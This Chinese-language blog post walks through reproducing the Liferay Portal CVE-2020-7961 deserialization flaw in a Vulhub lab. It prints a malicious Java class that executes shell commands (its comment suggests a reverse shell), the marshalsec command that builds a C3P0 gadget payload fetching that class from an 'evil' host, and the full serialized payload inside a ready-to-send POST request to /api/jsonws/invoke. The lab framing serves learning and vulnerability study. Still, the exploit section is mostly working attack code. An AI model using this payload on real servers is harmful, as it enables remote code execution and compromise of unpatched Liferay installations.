Liferay Portal CE是一款用来快速构建网站的开源系统。在7.2.1 CE GA2之前的Liferay Portal中,对不可信数据的反序列化允许远程攻击者通过JSON web服务(JSONWS)执行任意代码。
官方网站
https://www.oschina.net
影响范围
Liferay Portal 6.1.XLiferay Portal 6.2.XLiferay Portal 7.0.XLiferay Portal 7.1.XLiferay Portal 7.2.X
参考链接:
· https://codewhitesec.blogspot.com/2020/03/liferay-portal-json-vulns.html
· https://jianfensec.com/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/Liferay%20Portal%20CVE-2020-7961%20%E5%AD%A6%E4%B9%A0%E8%AE%B0%E5%BD%95/
· https://xz.aliyun.com/t/7499
· https://xz.aliyun.com/t/7485
NVD评分
![fa3fac0efe97bbe81261406c4526b211.png](https://i-blog.csdnimg.cn/blog_migrate/96ab1c7d83b56a2a79a1f52c133c40ac.jpeg)
漏洞环境搭建
Vulhub
![f6f1cd359c611fa1035cf8ab2d5b3341.png](https://i-blog.csdnimg.cn/blog_migrate/b3e0d7fda3e55eedc82aef51e0ee96a8.jpeg)
# Download the latest version of the vulhub git clone https://github.com/vulhub/vulhub.git # Entry vulnerability directory cd /path/to/vuln/ # Compile (optional) docker-compose build # Run docker-compose up -d
![865824ae5090a5aa323db7614419f146.png](https://i-blog.csdnimg.cn/blog_migrate/ddf5603481f58ef5b47ab7bfc782e635.jpeg)
然后我们cd /root/vulhub/liferay-portal
![303a8157df2e46639da55c94e6a6de7b.png](https://i-blog.csdnimg.cn/blog_migrate/11401d4d4bd994db75273e94bf03de66.jpeg)
执行如下命令启动Liferay Portal 7.2.0 GA1:
docker-compose up -d
启动成功后,访问http://your-ip:8080即可查看到默认首页。如果环境一直没有成功启动,可能是内存不足,请使用至少2G内存的服务器运行这个环境。页面如下
![af6dd99eb877bd8230b35a4d2f87056f.png](https://i-blog.csdnimg.cn/blog_migrate/ef5cb7a542497070ac116bd77e367399.jpeg)
漏洞复现
首先准备一个恶意的Java类,编译:
// javac LifExp.java
public class LifExp {
static {
try {
String[] cmd = {"bash", "-c", "touch /tmp/success"};//当然也可以是反弹shell
java.lang.Runtime.getRuntime().exec(cmd).waitFor();
} catch ( Exception e ) {
e.printStackTrace();
}
}
}
在class文件的目录下运行一个HTTP文件服务,命令如下:
$ ls
LifExp.class LifExp.java
$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
因为目标Java版本较高,我们使用利用链是com.mchange.v2.c3p0.WrapperConnectionPoolDataSource,借助marshalsec(https://github.com/mbechler/marshalsec)来生成一个适用于Jackson的POC:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://evil/ LifExp
其中,http://evil/是刚才启动的保存了恶意class文件的Web服务,LifExp是恶意类名。
![30e1ec3e581907ff88c66827d17a0fe5.png](https://i-blog.csdnimg.cn/blog_migrate/d937118bbf3e42d7d3730704775454f7.jpeg)
生成的Payload是Jackson使用的,我们只需按照Liferay Portal的形式,即+参数名:类名=值,来修改这个Payload:
+defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c6966457870740017687474703a2f2f3137322e31372e302e313a383030302f740003466f6f;"}
将上述Payload合并到HTTP请求中发送:
POST /api/jsonws/invoke HTTP/1.1
Host: your-ip:8080
Content-Length: 1346
Content-Type: application/x-www-form-urlencoded
Connection: close
cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=o3lt8q1F&formDate=1585270368703&tableId=1&name=2&type=3&%2BdefaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={"userOverridesAsString":"HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572656e636553657269616c697a6564621985d0d12ac2130200044c000b636f6e746578744e616d657400134c6a617661782f6e616d696e672f4e616d653b4c0003656e767400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b4c000c636c617373466163746f72797400124c6a6176612f6c616e672f537472696e673b4c0014636c617373466163746f72794c6f636174696f6e71007e00074c0009636c6173734e616d6571007e00077870737200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78700000000000000000757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000a70707070707070707070787400064c6966457870740017687474703a2f2f3137322e31372e302e313a383030302f740003466f6f;"}
![1a24325bbd04161ff9ea5f897a2859eb.png](https://i-blog.csdnimg.cn/blog_migrate/eefb3a61cdfed867ad5783e80e0ad58a.jpeg)
进入容器中查看,发现已经成功执行touch /tmp/success:
![5a960882ffa7d10df126025556c33343.png](https://i-blog.csdnimg.cn/blog_migrate/4b23cadbaafbb351b65c98ccf5fc02a5.jpeg)
![cb2bda6c92786326f972db02d5ef9e2e.png](https://i-blog.csdnimg.cn/blog_migrate/a326e1ccdd2f135c089508a430498588.jpeg)
总的来说,又是一个反序列化漏洞,在java里面反序列化漏洞真的屡见不鲜了,新颖的是这里是利用Jackson构造的poc,给我们以后挖序列化洞多了一种思路
![2823fa15eede6358660f9107d188044d.png](https://i-blog.csdnimg.cn/blog_migrate/814d2cf87b53f6b4c2bc876f0cd7e906.jpeg)
![774f2fb8570fbae55c45523ff3fd9b5c.png](https://i-blog.csdnimg.cn/blog_migrate/29a738e30371257b9a4241ce2a34a942.jpeg)
![fa056d66e5af186eb043aeea27a14322.png](https://i-blog.csdnimg.cn/blog_migrate/43eedae253623be3e94bf46ad0ba1f87.jpeg)